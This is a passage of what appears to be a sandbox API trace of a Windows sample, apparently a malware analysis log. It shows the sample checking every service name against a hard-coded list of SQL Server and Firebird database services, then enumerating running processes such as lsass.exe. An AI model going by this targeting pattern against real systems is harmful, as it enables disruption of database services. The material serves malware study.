(lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0198.473] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0198.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0198.473] lstrlenW (lpString="Audiosrv") returned 8 [0198.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0198.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0198.474] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0198.474] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0198.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0198.474] lstrlenW (lpString="BFE") returned 3 [0198.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0198.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0198.474] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0198.474] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0198.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0198.474] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0198.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0198.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0198.474] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0198.474] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0198.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0198.474] lstrlenW (lpString="CDPSvc") returned 6 [0198.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0198.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0198.474] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0198.474] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0198.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0198.474] lstrlenW (lpString="ClickToRunSvc") returned 13 [0198.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0198.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0198.474] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0198.474] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0198.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0198.474] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0198.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0198.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0198.475] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0198.475] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0198.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0198.475] lstrlenW (lpString="CryptSvc") returned 8 [0198.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0198.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0198.475] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0198.475] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0198.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0198.475] lstrlenW (lpString="DcomLaunch") returned 10 [0198.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0198.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0198.475] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0198.475] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0198.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0198.475] lstrlenW (lpString="DeviceAssociationService") returned 24 [0198.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0198.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0198.475] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0198.475] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0198.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0198.475] lstrlenW (lpString="Dhcp") returned 4 [0198.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0198.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0198.476] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0198.476] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0198.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0198.476] lstrlenW (lpString="Dnscache") returned 8 [0198.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0198.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0198.476] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0198.476] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0198.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0198.476] lstrlenW (lpString="DPS") returned 3 [0198.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0198.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0198.476] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0198.476] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0198.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0198.476] lstrlenW (lpString="DusmSvc") returned 7 [0198.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0198.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0198.476] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0198.476] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0198.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0198.476] lstrlenW (lpString="EventLog") returned 8 [0198.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0198.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0198.476] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0198.476] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0198.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0198.476] lstrlenW (lpString="EventSystem") returned 11 [0198.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0198.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0198.476] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0198.476] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0198.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0198.477] lstrlenW (lpString="FontCache") returned 9 [0198.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0198.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0198.477] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0198.477] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0198.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0198.477] lstrlenW (lpString="gpsvc") returned 5 [0198.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0198.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0198.477] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0198.477] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0198.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0198.477] lstrlenW (lpString="iphlpsvc") returned 8 [0198.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0198.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0198.477] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0198.477] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0198.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0198.477] lstrlenW (lpString="KeyIso") returned 6 [0198.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0198.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0198.477] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0198.477] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0198.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0198.477] lstrlenW (lpString="LanmanServer") returned 12 [0198.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0198.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0198.477] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0198.477] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0198.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0198.477] lstrlenW (lpString="LanmanWorkstation") returned 17 [0198.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0198.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0198.478] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0198.478] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0198.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0198.478] lstrlenW (lpString="lfsvc") returned 5 [0198.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0198.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0198.478] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0198.478] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0198.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0198.478] lstrlenW (lpString="lmhosts") returned 7 [0198.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0198.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0198.478] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0198.478] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0198.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0198.478] lstrlenW (lpString="LSM") returned 3 [0198.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0198.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0198.478] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0198.478] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0198.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0198.478] lstrlenW (lpString="MpsSvc") returned 6 [0198.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0198.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0198.478] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0198.478] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0198.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0198.478] lstrlenW (lpString="NcbService") returned 10 [0198.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0198.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0198.478] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0198.479] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0198.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0198.479] lstrlenW (lpString="netprofm") returned 8 [0198.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0198.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0198.479] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0198.479] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0198.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0198.479] lstrlenW (lpString="NgcSvc") returned 6 [0198.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0198.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0198.479] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0198.479] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0198.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0198.479] lstrlenW (lpString="NlaSvc") returned 6 [0198.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0198.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0198.479] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0198.479] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0198.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0198.479] lstrlenW (lpString="nsi") returned 3 [0198.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0198.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0198.479] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0198.479] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0198.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0198.479] lstrlenW (lpString="PcaSvc") returned 6 [0198.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0198.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0198.479] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0198.479] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0198.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0198.480] lstrlenW (lpString="PlugPlay") returned 8 [0198.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0198.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0198.480] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0198.480] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0198.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0198.480] lstrlenW (lpString="Power") returned 5 [0198.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0198.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0198.480] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0198.480] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0198.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0198.480] lstrlenW (lpString="ProfSvc") returned 7 [0198.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0198.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0198.480] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0198.480] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0198.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0198.480] lstrlenW (lpString="RpcEptMapper") returned 12 [0198.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0198.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0198.480] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0198.480] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0198.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0198.480] lstrlenW (lpString="RpcSs") returned 5 [0198.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0198.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0198.480] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0198.480] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0198.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0198.481] lstrlenW (lpString="SamSs") returned 5 [0198.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0198.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0198.481] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0198.481] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0198.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0198.481] lstrlenW (lpString="Schedule") returned 8 [0198.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0198.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0198.481] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0198.481] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0198.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0198.481] lstrlenW (lpString="SecurityHealthService") returned 21 [0198.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0198.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0198.481] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0198.481] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0198.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0198.481] lstrlenW (lpString="SENS") returned 4 [0198.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0198.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0198.481] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0198.481] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0198.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0198.481] lstrlenW (lpString="ShellHWDetection") returned 16 [0198.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0198.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0198.481] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0198.481] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0198.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0198.481] lstrlenW (lpString="Spooler") returned 7 [0198.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0198.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0198.482] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0198.482] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0198.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0198.482] lstrlenW (lpString="StateRepository") returned 15 [0198.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0198.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0198.482] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0198.482] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0198.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0198.482] lstrlenW (lpString="SysMain") returned 7 [0198.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0198.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0198.482] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0198.482] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0198.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0198.482] lstrlenW (lpString="SystemEventsBroker") returned 18 [0198.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0198.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0198.482] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0198.482] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0198.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0198.482] lstrlenW (lpString="Themes") returned 6 [0198.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0198.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0198.482] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0198.482] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0198.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0198.482] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0198.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0198.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0198.483] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0198.483] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0198.483] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x494 [0198.490] Process32FirstW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0198.490] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0198.496] lstrlenW (lpString="System") returned 6 [0198.497] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0198.497] lstrlenW (lpString="smss.exe") returned 8 [0198.497] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0198.498] lstrlenW (lpString="csrss.exe") returned 9 [0198.498] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0198.499] lstrlenW (lpString="wininit.exe") returned 11 [0198.499] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0198.500] lstrlenW (lpString="csrss.exe") returned 9 [0198.500] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0198.500] lstrlenW (lpString="winlogon.exe") returned 12 [0198.500] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0198.501] lstrlenW (lpString="services.exe") returned 12 [0198.501] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0198.502] lstrlenW (lpString="lsass.exe") returned 9 [0198.502] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0198.503] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0198.503] Process32NextW (in: hSnapshot=0x494, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0198.504] lstrlenW (lpString="fontdrvhost.exe") returned 15 